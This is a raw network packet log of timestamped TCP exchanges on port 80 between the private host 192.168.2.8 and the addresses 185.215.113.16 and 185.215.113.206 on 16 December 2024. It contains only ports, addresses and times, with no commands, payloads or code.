Dec 16, 2024 13:16:47.132766962 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.132868052 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.132925034 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.134110928 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.134160042 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.134496927 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.134941101 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.136862993 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.137064934 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.137120008 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.139523029 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.139632940 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.139662981 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.140414953 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.142294884 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.142354965 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.142398119 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.144006968 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.144876957 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.144958973 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.145010948 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.147483110 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.147603035 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.147654057 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.150121927 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.150365114 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.150424957 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.152832031 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.152893066 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.153031111 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.153618097 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.155483961 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.155668974 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.155720949 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.158127069 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.158307076 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.158375025 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.160798073 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.160856962 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.160859108 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.160916090 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.163433075 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.163496971 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.163547993 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.163592100 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.166121006 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.166255951 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.166318893 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.168715000 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.168814898 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.168870926 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.171554089 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.171567917 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.171602011 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.171638012 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.173980951 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.174103975 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.174160004 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.176785946 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.176800966 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.176870108 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.179267883 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.179353952 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.179406881 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.179478884 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.181900024 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.181994915 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.182046890 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.184700966 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.184751987 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.184807062 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.187269926 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.187340021 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.187375069 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.188421965 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.189841032 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.189884901 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.189960003 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.192231894 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.192502022 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.192543030 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.192595005 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.192634106 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.195199966 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.195261002 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.195297956 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.196485043 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.197798967 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.197926998 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.197985888 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.200478077 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.200609922 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.200663090 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.203109026 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.203232050 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.203285933 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.205756903 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.205928087 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.205979109 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.208399057 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.208477974 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.208529949 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.210999966 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.211054087 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.211064100 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.212421894 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.213661909 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.213707924 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.213747025 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.213787079 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.216327906 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.216418982 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.216473103 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.219091892 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.219156027 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.219167948 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.219907999 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.221612930 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.221682072 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.221729040 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.224315882 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.224370003 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.224427938 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.225490093 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.226910114 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.227037907 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.227071047 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.227107048 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.229573965 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.229695082 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.229759932 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.233155966 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.233170986 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.233247995 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.234879017 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.234992027 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.235053062 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.237519979 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.237607002 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.237670898 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.240175009 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.240269899 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.240398884 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.243175030 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.243622065 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.243685007 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.246289968 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.246452093 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.246506929 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.248887062 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.248948097 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.248980999 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.249154091 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.251893997 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.251960993 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.285552025 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:47.285592079 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:47.285619974 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:47.285653114 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:47.325246096 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.325277090 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.325344086 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.326287985 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.326390982 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.326442003 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.328622103 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.328731060 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.328773975 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.331098080 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.331147909 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.331193924 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.332602024 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.333233118 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.333331108 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.333380938 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.335489035 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.335589886 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.335633993 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.337718010 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.337843895 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.337884903 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.339920998 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.339983940 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.340034962 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.340218067 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.342119932 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.342183113 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.342191935 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.342230082 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.344183922 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.344240904 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.344280958 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.344501019 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.346281052 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.346380949 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.346422911 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.348356009 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.348474979 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.348531008 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.350428104 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.350523949 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.350575924 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.352432966 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.352454901 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.352505922 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.354433060 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.354542971 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.354588985 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.356481075 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.356581926 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.356637955 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.358490944 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.358539104 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.358778000 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.360390902 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.360438108 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.360452890 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.360533953 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.362179041 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.362313986 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.362375975 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.364087105 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.364183903 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.364227057 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.365999937 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.366117001 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.366166115 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.367841959 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.367945910 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.367989063 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.369674921 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.369697094 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.369735003 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.371540070 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.371581078 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.371669054 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.372554064 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.373358011 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.373398066 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.373450041 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.373483896 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.375135899 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.375189066 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.375332117 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.376812935 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.376915932 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.377063990 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.377104998 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.378758907 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.378884077 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.378921032 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.380563021 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.380609035 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.380687952 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.381031036 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.382376909 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.382400990 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.382440090 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.384150982 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.384248972 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.384264946 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.387167931 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.387299061 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.387417078 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.387439966 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.387454987 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.388325930 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.388369083 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.388417959 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.388451099 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.389545918 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.389589071 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.389659882 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.390064955 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.391365051 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.391405106 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.391477108 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.391510010 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.393143892 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.393255949 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.393301964 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.394952059 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.395061970 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.395102024 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.396835089 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.396938086 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.396979094 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.398554087 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.398617983 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.398658037 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.400497913 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.400628090 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.400667906 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.402292013 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.402329922 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.402373075 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.403018951 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.403943062 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.404474974 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.404510975 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.404550076 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.405765057 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.405808926 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.405852079 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.405890942 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.407552004 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.407676935 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.407704115 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.407727003 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.409392118 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.409483910 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.409627914 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.411243916 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.411380053 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.411427975 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.412951946 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.413022041 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.413058996 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.414776087 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.414828062 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.414849997 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.416440010 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.416564941 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.416723013 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.416764975 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.418380022 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.418416023 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.418472052 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.420172930 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.420224905 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.420244932 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.421610117 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.421978951 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.422096968 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.422147036 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:47.477415085 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:47.477484941 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:47.484963894 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:47.517302990 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:47.517326117 CET	80	49794	185.215.113.16	192.168.2.8
